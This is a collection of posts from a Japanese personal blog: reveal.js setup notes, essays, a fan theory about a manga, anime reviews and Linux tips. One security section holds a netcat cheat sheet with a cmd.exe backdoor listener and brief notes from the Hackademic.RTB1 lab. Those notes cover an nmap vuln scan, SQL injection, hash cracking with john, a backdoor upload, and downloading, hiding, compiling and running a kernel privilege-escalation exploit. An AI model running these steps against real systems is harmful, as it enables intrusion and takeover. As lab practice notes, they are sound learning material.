slides-reveal.jsを使ってみた



## reveal.js


$ npm install -g bower yo grunt-cli

$ git clone https://github.com/hakimel/reveal.js/

$ cd reveal.js

$ npm install

$ grunt serve

------------------------------------------------
$ curl http://localhost:8000


##generator-reveal

gen:yo, package:bower, build:grunt, theme:reveal


$ npm install -g bower yo grunt-cli generator-reveal

$ sudo yo reveal

$ sudo yo reveal:slide "Slide Title" --markdown

$ cat slides/list.md
$ vim slides/index.md

$ grunt serve

------------------------------------------------
$ curl http://localhost:9000


どうやらhttpプロトコルが見えると、自動でhtmlタグに変換されるらしいんで、表示に不具合が出ている模様。修正するのは面倒なので、コマンドでhttpが出てきたら適時読み替えてください。

エリートはなぜ間違うのか


エリートはなぜ間違うのかっていう記事が出てた。

もちろん、エリートが全て間違うわけではないと思うので、ここで個人的な考えというか、答えを述べていきたいと少し思ったので、なにか書くことにする。

結論から言うと「いや、間違うこと自体は誰にでもあることだからいい。しかし、それを認めないこと、修正しないことがダメなのでは?」という話。

エリートが間違った場合、その人は、...凄く言いにくいのだけど本当は頭が悪い人だったんだと思う。そもそも現代の制度や試験で本当に頭がいい人間を正確に判断していくのは不可能だと思っている。だから、頭が悪い人がエリートとして選ばれたとしても別におかしいことではない。

もちろん、私は長年の人々の努力によって確立されてきた制度や試験そのものに文句をつける気は全くない。

ただ、国によっても、地域によっても、そして、資格によっても、その内容や趣旨は全くバラバラであり、絶対的な指標にはなり得ないだろうとは思っている。

例えば、日本式のエリートというのは上の命令を忠実に聞けるか否かが重視される気がするが、アメリカ式のエリートは日本式に比べるとほんとうに頭が良い人が選ばれやすい仕組みになっているような気がする。あくまで印象にすぎないけど。

また、エリートじゃなくても頭が悪い人はいるし、もしかしたらたくさんいるかもしれないけど、じゃあ、私が考える頭が悪いっていうのは一体どういうことなのかを説明したい。

これは非常に簡単な事で、一言で言うと「自分の間違いを認めない人」ということになると思う。

エリートの場合、自分の間違いを認めることが難しいんじゃないかってことで、「エリートはなぜバカなのか」的な記事が出てしまう一つの要因なのではないかと思ってるし、それは実感として正しいところでもあると思う。つまり、一つの真実というか、そういったものを感じさせる内容だと認識している(実はタイトルしか読んでないが)。

そして、自分の間違いを認めない人というのは、すぐに見分けが付く。

例えば、自分をより高く見せたがる人と言うのは、「自分の間違いを認めない人」であることが多いように感じる。

エリートも、自らの経歴を誇ってる人間とそうでない人間がいるが、タイプとしては前者である自らの経歴を誇っている人というのは、「自分をより高く見せたがる人」であるので、「自分の間違いを認めない人」につながる感じだ。誇っているが故に、自分を高く置いてしまったために、間違いを認めにくくなるというのは、分かりやすい帰結だろうと思う。

反対に、エリートでも、自らの経歴その他をひけらかさない人というのは、基本的に、この傾向は見られず、真に頭が良い人であることが多い気がする。

そもそも人というのは間違えるものである。全問正解と言うのは、現実世界においてありえない。

確かに、学校の試験などの問題が簡略化された問においては、全問正解は比較的たやすく実現できるだろうと思う。

しかし、現実世界の問題はそれよりもはるかに複雑な場合が多く、日々、実行と修正を余儀なくされると思われる。

なぜなら、ほとんどが既に解決策が判明している問題が出てくるわけではなく、未知の問題が出題され、それを解決していく必要があるからだ。

そのような前提にもかかわらず、「自分の間違いを認めない」ということがどれほど大きな問題かというのは、理解できることだと思う。

なので私は、「自分の間違いを認めない人」は、「とんでもないバカ」をやらかしかねない可能性が最も高いのではないかと基本的には考えている。

間違いが判明しても、頑なに、強引に突き進むと、未来において、時に修正不可能な領域に突入してしまう危険すらある。

そして、これはエリートに限らず、一定の心理傾向を持った人間ならだれでも当てはまると考えている。

確かに、エリートと呼ばれる人達は、自分を過大評価し、何かを勘違いしてしまう可能性が高い立場に置かれるだけあって、それ故に、「認めない人」になる可能性も高くなりがちだと考えられるが、それ以外、エリートでなくても「何かを勘違いした人」は、同じように「認めない人」の可能性が高いと思う。

ちなみに、エリートで頭悪いなあと思ったのですぐに出てくる人物としては、最近見たサイコパスというアニメのメガネ男子が、それだった気がする。

そのキャラは、「愚者は経験に学び、賢者は歴史に学ぶ」などと言ってた気がするが、私から見ると、明らかに愚者はその人だったように感じた。

2期では自らの失敗を見つめなおす機会に恵まれ、そのキャラは良い方向へと修正したけど、そのキャラが過去の自分を見たら、あまりの愚鈍さと愚かさ故に、とりあえずぶん殴ってたのではないだろうかという気がする。

まあ、頑なになって「間違いを認めない人」より、「間違いを認める人」のほうが良いと思うと言う話でした。では。


ブログへの愚痴


それは、毎日更新してる人がどういう傾向にあるかってことなのですが、あくまで傾向ですが、ストレス発散のために書いてる人も割と多い印象。

日頃の怒りを鬱憤を文章にぶつけて、そして、人気が出ているものをよく見かける気がする。

自分のブログって客観的に見てそういう印象なのかも。

毎日更新してる人、自慢話と愚痴しか書いてないじゃんってなることが多いように感じている。

その人が言うのは、「それ100回くらい聞いた」って話が何度も出てくるのだけど、まあ、毎日更新してると仕方ないことなんかなあ。よくわからない。また、それ以外は、ほとんどが何かの愚痴っぽいのを正当化し、理由付け、言い訳を数々して、有名な人の名前を書いて終わりと言う感じで結構簡単にできる。

なんというか、愚痴や自慢話、日常の不満などを書くのって、いくらでも書けるので、毎日更新するにはとてもよい方法だなあと思った。

ただ、何が真実か、事実かは関係なく、それをあたかも正しいかのように、日頃の怒りをぶつけるだけの簡単なお仕事。


僕だけがいない街の感想


僕だけがいない街が面白いということでKindleで買ってみたので感想。

読み始めて、私の場合、八代先生が登場した瞬間、犯人であることを確信したけど、読み進めると、既に発行されている6巻で明らかにされてしまったので、ちょっと残念感があった。個人的に。発行されてるのが2,3巻までなら良かったんだけど。

あと、私はこういう真実追求系はすごく好きなので、読んでて面白かった。

犯人当ては面白いのでやる。と言っても、単に一番最初怪しいと思ったやつを犯人だと思って考えるだけの話だけど。

この先生の場合は、証拠がたくさん出てくるので、確信は変わらなかった気がする。アメとかトントンとか。

そういえば、トントンの癖は、まだでてきてないので、いずれ重要な要素として使われるかもしれない。

というか、漫画に出てくる警察とか周りの大人達が無能すぎるわけだが、現実的にこんなだったとしたら、本当に怖すぎるなあ。

ただ、分からないところもあって、それは、夢の中でしか被害にあってない主人公の母親とかその他の子たちの話だ。これって、単に夢でシュミレートされた結果ということなのだろうか。

現実問題として、あの先生はたくさんの犯罪を繰り返してることが推測されるわけだが、漫画の中で判明しているのは、先生の過去回想の中のものと、主人公を沈めて殺そうとした殺人未遂のみだが、それだとなんかあっけない感じがする。主人公の夢の中ではもっと殺してるんだけど。

ここで、ひとつの疑問が湧いてくる。本当に犯人は一人なのだろうかという疑問だ。

更に、リバイバルについても分かってないことが多い。あれは昏睡中に見た主人公の夢なのか、昏睡状態から目覚めた主人公が能力を使ってシュミレートしてるのか分からない。

個人的には、これは前者であると思ってる。後者の場合は、扉を開けたその先でシュミレートを行い答えを見つけたということになる。前者の場合は、シュミレートの結果は扉の向こうにあり、まだ開けられないということになる。

しかし、話は非常に複雑だ。いわゆるこういう話になる。

能力を使って先生を追い詰めたが、そもそも先生は追い詰められなければ、主人公が被害に合うこともないため、一体、あの能力、リバイバルはどこから来たのか、なぜ主人公が被害にあったのかということだ。

現時点では能力を使って先生を追い詰めたから、真犯人である先生から口封じされるという事になっている。しかし、現実問題として、その能力は、主人公が昏睡してから得た能力であるように描かれているのである。

つまり、能力がなければ昏睡状態にならなかっただろうし、昏睡状態にならなけれれば能力を得られなかっただろうということだ。いわゆるパラドクスに陥ってしまう。

しかし、こういった矛盾が全て漫画で解消されるとは限らないし、細かいことなので、それは無視して単純に考えてみようと思う。

私の推測では、以下のようになる。

  • 女子児童を次々に襲う真犯人(八代先生)に小学生の主人公が殺されかけ、昏睡状態に陥る

  • ここで、主人公はリバイバルという能力を得て、夢の中でシュミレートを何度も行い真犯人にたどり着く

  • しかし、昏睡状態から目覚めた大人になった主人公はシュミレート結果を忘れてしまっている、ここで、扉の前には鍵がかけられる

  • ヒロインと出会ったことで、扉の鍵が開けられ、シュミレート結果(真犯人)が得られる

    しかし、シュミレート結果に出てきた犯人像が気になる。メガネを掛け、無精髭を生やしていた男だった。これはあの先生の成れの果ての姿なのだろうか。そうかもしれないし、犯人は複数いるということかもしれない。それに、先生は当時においても犯行時にはメガネをかけるような描写が見られる(単なる間違いかもしれないが)。ただ、シュミレート結果と現実、回想とはやはり評価を分けて考えるべきだろう。

    つまり、現時点では、話を長引かせようと思えば長引かせられるし、あっさり終わらそうと思えば終わらすことができるようになってるとそう感じる。

    犯人が複数いるとすれば、西園先生とかいう政治家の先生が一度だけシュミレート内に出てきたことがある。メガネをかけていて、そのメガネは真犯人と思われるものと一致する感じだった。

    ただ、この西園先生についても、分かっていることは少なく、現時点では矛盾も含め、一応の説明はできる。

    まず、シュミレートで犯人の第一回犯行は主人公が女児を外から呼んだことで失敗に終わる。ここで、犯人はメガネをかけた男として描かれている。

    反対に、回想の中で同様の場面があるのだが、犯人は八代先生であり、メガネをかけていない。

    もちろん、これは単なる書き間違えただけなのかもしれないけど、シュミレートでも回想でもメガネを掛けた犯人像が出てくることがよくあった。

    通常、間違いというものは連続しないので、真犯人は間違いなくメガネを掛けた人物だろう。

    しかし、シュミレートの最後か、若しくは現実の最後かわからないけど、そこでメガネをかけていない学校の八代先生が犯人として描かれる。

    この矛盾は一体なんなのか。そして、メガネを掛けた人物で怪しいのは誰だろうか。

    私は、メガネを掛けた人物で怪しいのは、シュミレートの中で主人公のバイト先に現れた西園先生とかいう政治家だと考えている。

    では、この西園先生というのは一体何者なのだろうか。

    一つの答えとして、これは当時の八代先生かもしれないということだ。

    彼は、主人公が目覚めるかもしれないと考え、その時に対処するために名前を変え、場合によっては整形し、そして、権力を使うために政治家になるという選択肢をとったのかもしれないと推測することができるからだ。若しくは、八代自体が偽名である可能性もあるが、その可能性は回想からは低いか。

    また、短時間でこのような権力を得ることは不可能なので、政治家の家系(若しくは金持ち)の女性と結婚し、養子になったという可能性もある。この場合、苗字の矛盾は即座に解消されるだろうと思う。

    そして、主人公のシュミレート能力においても一応の疑問を持っておくことにする。この能力は事実のみを見せるのではなく、幾つもの可能性として起こりうる確率の高いものを見せるという感じのものだというのは明らかになっており、そこである疑問が湧いてくる。当時の八代は、本当に現実の世界で学校の先生になっているのか?という疑問である。つまり、これが単に主人公のシュミレート結果でしかない可能性もあるということだ。現実では学校の先生をやらずに、政治家だけをやってる可能性もある。ただ、この可能性はかなり低いだろうと思われる。なぜなら、これは今までの漫画の内容を全否定することになりかねず、「あの描写、ほとんど意味なかったね」ということになるからである。

    したがって、現時点で最も確率が高いと思わえる私の推測を述べると、以下のようになる。

  • 八代先生は主人公を殺し損ね、その対処を考える

  • 対処は、権力の所持及び、いくつかの偽装によって行われる

  • 具体的には、親が成金(若しくは政治家の家系)の女性と結婚して、養子になることで、苗字の偽装及び、権力の所持を試み、主人公が目覚めた時にはそれが既に完了している状態である

  • こうして小学校の先生であった八代なんとかから、西園なんとかになった政治家の西園なんとかは、主人公が目覚めて病院から退院した場合の計画(いつもと同じように犯人に仕立て上げる計画)も考えている

  • 主人公の最初にシュミレートに出てきた描写は、まさにこれであり、一種の未来予知である

  • シュミレート結果は、重い扉に閉ざされていて、用意にそれを取り出すことができないようになっているのが現時点である

  • しかし、未来予知に出てきた女性の何とかさんをきっかけに、扉が開くかもしれないし、開かないかもしれない。これは、話を長引かせようとすればいくらでも長引かせられるし、終わらそうと思えば、終わらすことができる状況である。したがって、扉の開閉の有無及び、そこに何があるかが確定しない限りは、どのくらいのスピードでラストに向かうのか判断しかねる状況である

    ここで、最短スピードの展開を予測すると以下のようになる。

  • 未来予知に出てきた女性をきっかけに扉が開く

  • そこには、過去の八代の犯行が置いてあり、それを取り出せる

  • しかし、現在、八代がいないので(結婚して西園になっている)、「うーん...どうなってるんだ」ってなる

  • ここで、展開上の都合で主人公がシュミレート結果に未来予知も含まれたいた事に気づく

  • 西園が怪しいということで、調べると、当時の八代だった。「な、なんだってー」

  • 襲ってくる西園を未来予知のシュミレート結果を元に上手く回避する二人。最終的にかつての親友たちに助けられたりするかもしれない

  • 現行犯逮捕及びその後の捜査によって法廷で真実が明らかにされ、いくつもの冤罪もその過程ではらされる

  • めでたしめでたし

    逆に、犯人が複数ならば、この二人が犯人だということだろうと思う。その可能性は低いと思うが...。

セキュリティについて



##最近やろうと思うセキュリティ関連の技術

まずは、こちらのブログを読む。

http://atani.github.io/

まず、ダミーサーバーを幾つか立ち上げて、それを自動作成、処理するスクリプトを書きたい。

ダミーサーバーというのは、作成自体は簡単で、Arch Linuxなどの最小構成のOS,systemd-nspawnを使い仮想上でuseraddして,chmod,chownを設定したり、/etc/sudoersでsudoを実行できなくしたりと、一切の権限を制限したアカウントを作成します。後は誘導とSSHで外部からアクセスできるようにしておくなど。

ダミーサーバーを設置した後は、システムログなどを見れた良いですが、ハニーポットツールを使うと良いです。SSHはkippo,Web Serverはglastopfが便利そう。

一応、ダミーサーバー意外は、Firewallを設定。具体的にはiptablesの例外を書けば良い。

##その他

まずは、こちらのブログを読む。

https://mrtc0.github.io/


echo server:$ nc -lp 25252
port scan:$ nc -v -z 192.168.1.107 1-80,$ nc -vv -z 192.168.1.107 80 22 443
banner:$ nc -vv 192.168.1.107 80
port fowerld:$ nc -lp 25252 -e 'nc sh.test 80
file upload:$ nc -lvp 25252 > test.txt
honey pot:$ nc -lvvp 80 < header.txt
backdoor:$ nc -v 192.168.1.107 25252, $ nc -lvp 25252 -e cmd.exe
option:$ --l, --ssl,
server: $ ncat --listen --ssl --ssl-cert test-cert.pem --ssl-key test-key.pem
client: $ ncat --ssl-verify --ssl-trustfile test-cert.pem


socatというものがあるらしい。


$ socat -v tcp-listen:8080,fork system:cat
$ ps aux | grep socat


portsnap, zfs, flavours, Jail.

malware-traffic-analysis.net, bro.

tor, scapy.

###Hackademic.RTB1


nmap

nmap -Pn -sV -p0-65535 -O -T 4 -v --script=vuln,default 192.168.1.113 > 192.168.1.113.nmap

cat 192.168.1.113.nmap


SQL Injection

python x.py > hash.txt


MD5 Decrypt

$ john --format=raw-md5 hash.txt --wordlist=~/Documents/wordlists/rockyou.txt

Upload Backdoor

nc -lvp 12345

$ cat /etc/passwd

権限昇格

$ uname -r

CVE-2010-3904

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3904

$ cd tmp/
$ curl -O https://www.exploit-db.com/download/15285
$ mv 15285 .x.c
$ gcc .x.c -o .x
$ ./.x



Peveal.js


Reveal.jsでスライドを作成できます。

https://github.com/hakimel/reveal.js/


$ git clone https://github.com/hakimel/reveal.js.git
$ cd reveal.js
$ npm install
$ npm start


つまらない日課の話


新しい日課を追加しました。具体的には、最近は、風呂あがりにツボを押し始めた。押し始めたのは、首と手と足のやつを1つずつ。簡単そうなところをやってみることにした。

http://ourage.jp/column/series/295/

日課は簡単に言うと、ランニングと筋トレを少しだけやってます。

ただ、こういうことをやると偉いとか、なにか良いことがあるとは思ってないし、他人にもおすすめしてないです。

やりたい人はやればいいのではということで、参考までに。


こみっくがーるずを読んだ


こみっくがーるずをKindleで購入。凄く面白かったので感想を。

なんで購入したのかというと、読んでるブログで面白いって書かれてたからです。そんなこと、どうでもいいか。まあ、だからこの記事を書くわけだけど、私も面白かったです。

この漫画、主人公はとても個性的なキャラクターです。

今までに見なかったタイプといいますか。

その辺を考えると、大きな可能性を秘めているように思います。

何故かと言うと、基本的には2番煎じはウケないからですね。

アニメでも何でもそうですが、常に新しいものを生み出していかなければヒットの可能性は生まれないだろうというのが私個人の考えです。

もちろん、それが実際にウケるかどうかというのは分かりません。確率も低いです。新しいものを出し続けてもヒットするのはその中の1/100とかそういった感じなのかもしれません。

しかし、今までに見なかったタイプには可能性を感じるところがあります。


news


こちらのブログが凄く面白かった。最近、ほんとにGitHub, BitBucketなどのGit Host Serviceを利用したサイト増えてきたなあと思う。そして、Octopressからの移行としてHugoが人気ぽい。まあ、これもだいぶ前からだけど。

http://atani.github.io/

http://blog.monochromegane.com/

WercherなどのCI ServiceでBuildをしてる人もちらほら。今のところ、頻繁にポストするなら、基本的にCI Serviceを使ったほうが良い感じだけど、そうでないなら、LocalでBuildしたほうが良いという結論。


cronの設定など


コンピュータの電源管理には、特定の日時に起動する設定が出来る場合があります。毎日1時に起動するとかですね。

で、Linuxには、cronsystemdなどを使ってスケジューリングすることができるのだけど、何故か、poweroffが設定しても反映されない感じだったので、絶対パスで指定すれば通りました。


$ su -
$ which systemctl
$ crontab -e
0 0 * /usr/bin/systemctl poweroff


2015年Q3のアニメが面白かった件


四半期の表記はQ1=1-3, Q2=4-6, Q3=7-9, Q4=10-12らしい。

私が見てるのは、のんのんびより, WORKING!!!, GATE, Charlotte, 城下町のダンデライオン, Classroom Crisis, ガッチャマンクラウズ。

この期間のアニメは非常におもしろかった気がする。ちなみに、今思うとQ2かQ4のどちらかがダメだった気がする。

動画ファイルを画像ファイルに変換する

漫画の資料用として使えそうな画像をUnityから作ってみました。

Unityというのはゲーム開発アプリであり、3Dキャラをグリグリ動かせたりするわけですね。私は、あまりカメラワーク得意じゃなくて、その辺、良さそうなスクリプトないのか探しているわけですが、現在では、モーションでキー操作できるようにして、それを再生し、動かしています。

で、その様子をキャプチャというか、動画撮影するわけですね。

動画撮影したあとは、以下のコマンドで画像ファイルに変換すれば良いです。

$ ffmpeg -i *.mp4 -r 7 %04d.png

で、これを実行すると、画像ファイルが沢山できるわけですが、いわゆるこれが資料の作り方です。当初予定してた。

でも、3Dモデルをなかなか自由に動かせなくて辛いです。

あと、モーションで手を自在に動かすっていうのも必要で、それには、Leap Motion Core Assetsが便利そうでした。


RubyのBundler

RubyにはBundlerというバージョン管理パッケージがあります。

よく使いますが、ショートカットなどもあります。

$ gem i bundler
$ cat Gemfile
$ bundle

bundleコマンドはbundler installに相当する感じだったと思います。


元となるもの

このブログには元ネタがあります。元ネタは過去ブログで1年くらい更新してました。

https://syui.github.io/middleman

一気に5日分くらいの記事をチェックして修正して、そして、いつの間にかまたチェックしなければならない日が来てという繰り返し。

これが結構、自分感覚でとても早くて、正直もうダメかも...。

現在、3つのブログを更新しているのですが、と言ってもストック制の自動更新ですが、あるブログなんてストックがもう4日分くらいしか無くて、本当にどうしようかと思ってます。

最近サボりまくってたからなあ...。


嫌いなもの

今回は、嫌いなものの話です。嫌いなもの、多い人もいるし、少ない人もいるのですが、大抵の場合、その原理を説明できると感じることが多くあります。

例えば、日頃から、あれ嫌いこれ嫌いって言ってる人をよく見かけますが、このタイプの人はこだわりが凄く強い人が多い印象です。

そして、このタイプの場合、好き嫌いというものがほとんど自分のできることに起因していることがあると思います。つまり、できないことを単に嫌いって言ってるだけという事が少なくありません。

次に、普通のタイプの人の話をします。

他人を嫌ってばかりいる人は、周りのみんなから嫌われてるからなんですよっていう人がいます。というか、そういう考え方をする人もいるわけですね。

これについては、確かにって感じかもしれません。少々、いじめっこ的な発想だとは思いますが。

私自身、自分の好みというのは意図せずして伝染するものだと思っていますし、更に言えば、周りは自分を映し出す鏡であるとも思います。

つまり、周りが醜く見えれば、それは自分自身なのかもねということです。

だから、「あなたがみんなを嫌いなのは、あなたが嫌われてるからよ」っていう主張というか、そういう考えは、ある意味であたっている私は思います。まあ、私の場合、そんなこと言いませんが、単に、鏡だよって言ってるくらいですが、いろいろな表現、考え方があります。

さて、この場合、問題は、どちらが先かということを思われる方がいるかもしれませんので、今回の話のポイントはその辺りです。

「鶏(にわとり)が先か、卵が先か」

よくそんな言葉で表現される問題ですね。

私の場合、その答えは、鶏が先。そして、鶏は自分。だから、この問題も自分が先。

さて、では卵とは何でしょう。それは、この世に発現していない何かであるということだと思います。私は文章を書いている。考えている。呼吸をしている。その時点で、この世に発現している。発現していない卵ではありえない。こんなことを考える時点で、卵ということはありえないのです。

つまり、ここで言う卵というのは、自分以外の何か。存在するはずのない何か。無である何か。そんな感じで捉えればよいかと思います。

ただ、私の場合、こういったことをある程度考えていますので、私は、あまり嫌いなものってないんですよね。

嘘っぽいですか。

確かに、嘘くさいですよね。私自身、「僕は嫌いなものないですよー」なんてことを言われたら、嘘くさいなって思います。

「それは単に、思いつかないだけなのでは?」ってなります。

この辺の説明についてですが、私の場合、自分のことを嫌ってる、快く思ってない人の空気というか、その人が全く離れた場所にいても、それを感じ取れる事がよくあります。

そして、そういうのは、非常に短文であっても、ほぼ確実に読み取れることがあります。「あー」とか「ほい」とか、それが自分に向けて発信されていない場合でも、それを読むんだり、見たりすると、何故か分かることがあります。この人、私の事嫌いなんだなあってのが。なんか伝わるっていうのか、なんだろう。

この辺、どういった仕組みになっているのか、私でも説明が難しいです。

しかし、無理してでも説明してみると、通常、すべての人の心は開かれてて、何かきっかけがあれば、それが全く関係ないものであっても、すぐにアクセスできるってことなんでしょうね。あくまで想像ですが。そして、無関係と思われるそれは、ここで言うときっかけに当たるわけです。そのきっかけを踏むと、書いた人の自分関連の情報がこっちに伝わるという感じだと思う。

伝わりやすい感情は強さで言うと、感動 -> 怒りや憎しみ -> 好き嫌いという感じ。

ちなみに、特攻で伝わった感情以外でも探ろうと思えばできると思うけど、通常はそこまではしないです。あと、自分関連以外の情報を引き出すのも、相当に難易度高いと思います。

けど、上で述べた感情なら、多分だれでも読み取れると思います。ただ、必要なものとしては、(1)相手の心が意図的に閉じてないこと(開くことよりも、閉じることのほうが技術的に難しいと思われ、デフォルトでは通常人は開いている)、(2)何かきっかけになるものを相手が発信すること(ただしターゲットが明らかになっている場合はこの限りではない)、(3)直感を信じる勇気くらいです。

また、気をつけなければならないのは、閉じると読み取れないし、読み取ろうとすれば、必然的に開くしかないってことです。だから、こちらが何らかを読み取った場合、逆探される可能性があります。つまり、こちらも相手から読み取れる状態にあるってことです。

少し変な話をしてしまいました。

私自身、嫌いなものはあまりないって言いましたが、それは、意味が無いことだから、ないってことです。

では、意味が無いというのは、どういうことでしょう。

あなたは、人生をコントロールできますか。自分をコントロールできますか。何をコントロールできますか。

実は、人というものは、自分で決め、コントロールできることは非常に少なく、0.1%にも満たないと私は考えています。

残る99.9%は、環境によるもので、人は自分が選択した、決定したと思い込んでるけど、自らがコントロールできる領域などは殆ど無いと思います。

だから、環境を変える努力をする以外、私達にはやることがないわけで、だからこそ、何かを嫌ってもあまり意味が無い。正直、どうでもよいことであり、嫌っていたけど、使ってみれば凄く良かったなんてことはしょっちゅう起こり得ることだと思うし、その意味では、有効な判断材料、指標には成り得ない。間違いばかりを増幅させるので、何かを嫌う感情は邪魔なものでしかない。

ただ、私にも他人の感情というのが伝染してしまうってことはありますし、むしろ逆に多いのではないだろうかと思うのだけど、日頃、何かを書く上では、そういったものの影響を受けてしまうため、「これはこうなんだ」とか「こういう人は、こういった傾向にある」とかそういった指摘を行ってしまうことが良くあります。

まあ、嫌いだからやってるってわけではなくて、何か書くことを思いつかせるきっかけになったので、それを書いてるってだけの話です。

だから、きっかけとなり得たことについては、あまり気にしてほしくもないのだけど、そんな感じです。

えっと、一体何が言いたかったのだったけ。

そうそう、私が先になることはあまりないということとかなあ。

鶏であることを自覚する人は、卵にでもなれると思うのです。それを望むなら。←嘘です。すいません。


マイナスな話

自分の考えなんて表に出すだけマイナスかもしれない。

なぜなら、すべての人は、どんなに似てる人でもやはり違う人間だからだと思う。

違う考え方を持ち、全部の考えが一致しているなどということは通常ありえない。

だから、個人の考えをたくさん出せば出すほど、そこには周りとの齟齬が広がっていくのが通常だ。

それが許容できない人もいれば、許容できる人もいる。そして、数が多ければ多いほど許容できないことも増えていく可能性が高くなる。

そして、この齟齬は、時に、憎しみや、嫌いや、合わないや、違うなどの感情を発生させ、その人の印象を決定づけるものだと思う。

つまり、自分の考えを出せば出すほど、嫌われやすいってことだと思う。

なので、嫌われたくない人は自分の考えはあまり表に出さないほうが良い気もする。


漫画を書いてみた

過去に書いた漫画なんて黒歴史以外の何物でもないということを身を持って知りました。

まあ、完成していたらそうでもないのだろうけど。

やっぱり直球的に書きたいものを書くのが一番ということなのかも。

そして、時間をかけ真剣にというのも必要そう。この辺り難しい。


かわいいについて考えてみた

かわいいというのは、一体どういうことかを考えてみた話。

これは見た目で捉えている方も多いと思うのですが、半分は心でしょう。

つまり、心と体で総合的に判断しているのではないかという。

例えば、アニメでも、見た目がいくら可愛くてもムカつくキャラは可愛くないです。

追記 :

もちろん、これは単に相手に従順であれということではなくて、自分の心に素直だったり、他人の心を素直に受け入れたりそういったところがかわいいんだと思う。


2015Q3で以外だったアニメ

城下町

見てなかったけど、感想を読んで面白そうだったので、見ることにした作品。

凄く面白かったです。簡単に言うと、能力者を持った兄弟姉妹が支持率を争うアニメって感じかなあ。

と言っても、最近、一系統の能力設定には飽きてきたかもしれないと思っていて、話は面白いんだけど、このアニメは別に能力なくても面白そうだなあと思った。

私が一系統能力で好きなアニメは、とある科学。このアニメ、そういえば、割りとはじめの頃のアニメだったなあ。2期からだけど。好きなのはそれも影響してるかもしれない。

がっこうぐらし

自分はネタバレを知らなかったので、なんかあまり面白く無い普通のアニメだなあって思っていたけど、最後のネタバレで、ちょっと見てみようかなに変わった。

でも私って基本的に怖いのあまり好きじゃないし、単に日常から非日常へのインパクトがあっただけかもしれないので、2話で決まりそうな気がしてる。


久しぶりのOctopress

Octopressの方のブログをちょっと触ってみた。なんというか、他のことしたほうが良いなあと思った。

まずhttpsをデフォルトにして、エラーが出ないようにした。HTTPSでエラーが出るのはHantena Widget。したがって、これを外すことにした。

ちなみに、発見としては、セキュリティを考えてるところは、ECDHE_RSAが使われてるんだなあと。私もSSHは無駄にこの鍵を使ってる。

また、OctopressのWerckerでのBuildは同じコードでも稀に失敗することがあるが、これは、Rubyのバグっぽい。どうしようもなかった。

Sitelinks search boxをつけようと頑張ったけど、多分、無理っぽかった。サイト内に検索ページを置いて、それを使うらしい。

https://hyper-text.org/archives/2014/09/google_sitelinks_search_box_microdata.shtml


のんのんびより2

のんのんびより2の1話の感想。

れんちょん語ルールって正確なものがあるんだろうか。例えば、語尾につく「のん」などはフィーリングかそれとも厳格なルールのもと表現されるものなのだろうか。

当時は、そんなことに興味があったらしい。

で、例えば、それとなく以下の様なものを作ってみたらしい。

これは、最高の芸術作品でお願いしますという感じだったん。うちとしては、初めてのお話だったので、とてもよかったのん。うち、漫画の方は読んでるので、これはアニメ・オリジナル・ストーリーというやつなんな。うちは、全部このアニメ・クオリティ・ストーリーでもいいと思うん。もちろん、漫画が面白く無いとか言うわけではないのですが、むしろとっても面白いわけですが、うちは、それよりも新しいお話が好きなん。と、感想を述べられましたが、れんげ語はなかなかに難易度が高そうなんな。

どこで「のん」になるのか「なんな」になるのか色々なパターンが考えられるし、そして、これらを入れ替えても不自然ではない場合も多い気がする。

したがって、私の場合、れんちょんの性格から相当のフィーリングだと結論づけたことがあった。

けど、その記事はもっと先に投稿されてた気がする。

簡単に説明すると、私は、れんちょんの性格って天邪鬼(あまのじゃく)+行き当たりばったりだと思ってる。

例えば、ねーねーの寝起き装置を作った時も「これ絶対、適当だろ」とそう思った。

ただ、物語の展開的にはあたかも「れんちょんが最初から計画して作った」という感じだった。

そこで...。

続きはまたのんのんびよりの記事が上がってきた時にでもやります。おわり。


判断と結果

人気=名作ではないんじゃないかという個人的な考え。

名作とは、クリエイターが評価できて、人気作は一般が評価するイメージがあります。

ここで、時の話題作であっても、時代では評価されないこともがあります。反対に、名作は歴史に名が残ったり、将来的に話題になったりすることがあります。

この違いというのは一体何なのでしょう。

一つはその時の判断だと思います。人気はその時その時の判断です。反対に名作は未来における判断を兼ねているんじゃないかと思います。

とすれば、クリエイターは将来的な判断を兼ねて名作を判断しているということなのでしょうか。もちろん、意識している人もいるでしょうが、殆どは無意識のうちに。

そういった可能性のことを、昔は少し考えてたみたいだ。

おわり。


2015Q3アニメのスタートレビュー

2015Q3の1話を見た感じの感想です。

WORKING!!!

WORKING!!!が凄く面白かった。まず、小さい子が出てきたが可愛かった。むしろ、かわいすぎた。主人公は小さい子が好きなのかー。掴み大事。

個人的には、山田がお気に入りで、結構キーポイントキャラだと思う。EDとか見る限りでは。いや、これはOPになるのか、EDなのかはよくわからないけど、目立ってる。目立ってないのが目立ってる気がする。とりあえず面白いキャラということで。

Charlotte

これは不完全能力者(実際は単に扱いづらく一過性の能力という意味)のお話でした。とりあえず、1話でやるべきポイントはすべて詰め込んでる感じがするので、話は複雑で長くなりそうな感じします。

ポイントとしては、(1)主人公のこれまで、(2)主人公の能力、(3)主人公の恋愛、(4)主人公の今後が描かれています。

(1) まず、「主人公のこれまで」により、どんな奴が主人公なのか説明があります。主人公の第一思想としては、「他人は本当に他人なのか」という疑問を持ってることが描かれます。これは、自分の境界線が曖昧という意味にも、他者への共感性が大きいという意味にも、人生・世界観レベルの意味にも捉えられます。

(2) この疑問、思想が主人公の能力発生の鍵になります。主人公の能力は短時間、他者に乗り移る事ができる能力。この間、本人の体は気絶し、乗り移られた人間の精神は、よくわかりませんがどっか行っちゃってるか、気絶してるっぽい。

(3) 次に、能力を得た主人公のコンプレックスや恋愛観が明らかになります。ひょんなんことから突然、力を与えられた人間というものは、その本質が出やすいので。ここで、主人公は、とにかく周りの目を気にしてるってことです。学歴への執着や彼女の選び方からそれが分かります。彼女の選び方に関しては、周りの評価や評判から判断し、いわゆる女子で言うところのスペックというものを判断材料にします(そのため、この主人公、割りと女子受け良さそうな気がするな...。共通点多いという意味で)。

(4) 最後に、主人公の今後が描かれます。能力者は主人公の他にも複数いて、強制的に監視、仕事をさせられることになります。まあ、通常はどんなことにも言えることですが、自分だけが特別だということはありえないわけですね。例えば、ある能力が発現したとしても、その能力は他にも発現してる人がいてもおかしくないわけですし、そう考えるのが自然です。

